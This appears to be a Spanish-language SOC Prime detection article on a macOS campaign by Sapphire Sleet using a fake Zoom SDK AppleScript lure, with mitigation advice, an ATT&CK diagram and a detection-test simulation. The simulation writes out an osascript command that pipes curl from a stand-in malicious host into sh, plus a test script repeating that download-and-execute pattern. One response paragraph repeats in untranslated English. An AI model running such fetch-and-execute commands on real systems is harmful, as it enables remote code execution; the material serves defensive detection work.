SOC Prime Bias: Crítico

17 Abr 2026 18:42

Disecando la intrusión de macOS por parte de Sapphire Sleet desde la atracción hasta el compromiso

Author Photo
SOC Prime Team linkedin icon Seguir
Disecando la intrusión de macOS por parte de Sapphire Sleet desde la atracción hasta el compromiso
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Microsoft Threat Intelligence ha informado sobre una campaña enfocada en macOS atribuida al actor estatal norcoreano Sapphire Sleet. La operación se basa en ingeniería social para persuadir a los objetivos de ejecutar archivos maliciosos de AppleScript presentados como una actualización legítima del SDK de Zoom. Una vez ejecutado, el script recupera cargas útiles adicionales a través de curl and osascript, expandiendo la intrusión en múltiples etapas. El malware está diseñado para robar credenciales, datos de billeteras de criptomonedas y otra información sensible mientras también evade las protecciones de seguridad nativas de macOS para permanecer activo en los sistemas comprometidos.

Investigación

La investigación describe una cadena de infección de múltiples etapas que comienza con un .scpt archivo de señuelo y continúa a través de una secuencia de curldescargas de cargas útiles. Los investigadores identificaron varios componentes de puerta trasera, incluidososascript -a- com.apple.cli, un binario de servicios, icloudz, y com.google.chromes.updaters. Los actores de la amenaza también fueron observados manipulando la base de datos TCC de macOS para obtener permisos de AppleEvents, usando técnicas de carga de código reflectante, y estableciendo persistencia a través de un demonio de lanzamiento. La actividad de exfiltración dependía de cadenas de agentes de usuario personalizadas y comunicaciones a través de la API de Telegram Bot.

Mitigación

Apple ya ha lanzado actualizaciones de Safe Browsing y XProtect para interrumpir la infraestructura de la campaña y los componentes de malware. Microsoft recomienda bloquear la ejecución de .scpt archivos, restringir curl pipelines no seguros, monitorear cambios no autorizados en la base de datos TCC, y auditar las instalaciones de demonios de lanzamiento en busca de entradas sospechosas. También se debe advertir a los usuarios sobre los mensajes no solicitados de actualización de software y aconsejarles que no proporcionen credenciales a través de diálogos o scripts inesperados.

Respuesta

Los defensores deben detectar la ejecución maliciosa de AppleScript, cadenas de agentes de usuario anormales, y conexiones salientes a dominios de comando y control conocidos. Cualquier binario identificado y demonio de lanzamiento debe ser puesto en cuarentena o eliminado inmediatamente, seguido por restablecimientos de credenciales para los usuarios afectados y la validación de la integridad de la base de datos TCC. Los respondedores de incidentes también deberían realizar un análisis forense en los artefactos del sistema recolectados y restaurar los datos afectados de copias de seguridad limpias cuando sea necesario. curl user-agent strings, and outbound connections to known command-and-control domains. Any identified binaries and launch daemons should be quarantined or removed immediately, followed by credential resets for affected users and validation of TCC database integrity. Incident responders should also perform forensic analysis on collected system artifacts and restore impacted data from clean backups wherever necessary.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[«<b>Técnica</b> – <b>T1204.002 Ejecución por el Usuario: Archivo Malicioso</b><br/><b>Descripción</b>: Las víctimas son engañadas para ejecutar un archivo malicioso que inicia la intrusión.»] class tech_user_execution technique tech_trusted_dev_proxy[«<b>Técnica</b> – <b>T1127 Ejecución Proxy mediante Herramientas de Desarrollo Confiables</b><br/><b>Descripción</b>: Herramientas legítimas de desarrollo se usan como proxy para ejecutar cargas maliciosas, evitando controles de seguridad.»] class tech_trusted_dev_proxy technique tech_subvert_trust[«<b>Técnica</b> – <b>T1553 Subvertir Controles de Confianza</b><br/><b>Descripción</b>: Los adversarios manipulan relaciones o configuraciones de confianza para obtener privilegios elevados o ejecutar código.»] class tech_subvert_trust technique tech_launch_daemon[«<b>Técnica</b> – <b>T1543.004 Crear o Modificar Proceso del Sistema: Daemon de Inicio</b><br/><b>Descripción</b>: Se crea un nuevo daemon o se modifica uno existente para lograr persistencia.»] class tech_launch_daemon technique tech_alt_auth_material[«<b>Técnica</b> – <b>T1550 Uso de Material de Autenticación Alternativo</b><br/><b>Descripción</b>: Credenciales, tokens o certificados robados o falsificados se utilizan para autenticarse como usuario legítimo.»] class tech_alt_auth_material technique tech_archive_lib[«<b>Técnica</b> – <b>T1560.002 Archivado de Datos Recopilados: Mediante Biblioteca</b><br/><b>Descripción</b>: Los datos recopilados se comprimen usando una biblioteca de software antes de la exfiltración.»] class tech_archive_lib technique tech_exfil_alt_proto[«<b>Técnica</b> – <b>T1048 Exfiltración mediante Protocolo Alternativo</b><br/><b>Descripción</b>: Los datos se exfiltran usando protocolos no estándar como DNS, FTP o puertos personalizados.»] class tech_exfil_alt_proto technique tech_dynamic_resolution[«<b>Técnica</b> – <b>T1568 Resolución Dinámica</b><br/><b>Descripción</b>: El adversario resuelve infraestructura de comando y control en tiempo de ejecución, a menudo mediante DNS.»] class tech_dynamic_resolution technique tech_reflective_loading[«<b>Técnica</b> – <b>T1620 Carga de Código Reflectiva</b><br/><b>Descripción</b>: El código malicioso se carga directamente en memoria sin tocar el disco.»] class tech_reflective_loading technique tech_system_binary_proxy[«<b>Técnica</b> – <b>T1218.003 Ejecución Proxy mediante Binarios del Sistema</b><br/><b>Descripción</b>: Binarios confiables del sistema son utilizados para lanzar cargas maliciosas.»] class tech_system_binary_proxy technique tech_modify_auth_process[«<b>Técnica</b> – <b>T1556.001 Modificar Proceso de Autenticación: Controlador de Dominio</b><br/><b>Descripción</b>: Se alteran mecanismos de autenticación para aceptar credenciales falsificadas.»] class tech_modify_auth_process technique %% Connections showing attack flow tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto

Flujo de Ataque

Ejecución de Simulación

Prerequisito: El Check de Telemetría y Línea de Base Previa debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un adversario ha obtenido un script malicioso al estilo de PowerShell alojado en un servidor remoto. Para evitar crear un binario independiente, aprovechan el intérprete nativo de AppleScript (osascript) y dirigen una curl descarga directamente al intérprete, logrando una «descarga-ejecución» en un solo comando. Esto coincide con el patrón del osascript + curl de la regla.

    # Línea única maliciosa que debería activar la regla
    osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'

    La línea de comando contiene tanto osascript and curl, por lo que la condición de la regla Sigma (selección_osascript y selección_curl) evalúa como verdadera.

  • Script de Prueba de Regresión:

    # simulate_osascript_curl.sh
    # Propósito: Reproducir la telemetría exacta que debería activar la regla de detección.
    set -e
    
    # Define una carga inocua por seguridad (eco en lugar de código malicioso real)
    MALICIOUS_URL="https://example.com/benign_payload.sh"
    
    # Crear una carga inocua que solo imprime un mensaje.
    # En una prueba real de equipo rojo alojarías un script real; aquí lo mantenemos seguro.
    curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true
    
    # Ejecutar el AppleScript con curl canalizado en un comando de shell.
    osascript -e "do shell script "curl -s $MALICIOUS_URL | sh""
  • Comandos de Limpieza:

    # cleanup_osascript_curl.sh
    # Eliminar cualquier archivo temporal y terminar procesos errantes.
    rm -f /tmp/benign_payload.sh
    pkill -f "osascript -e"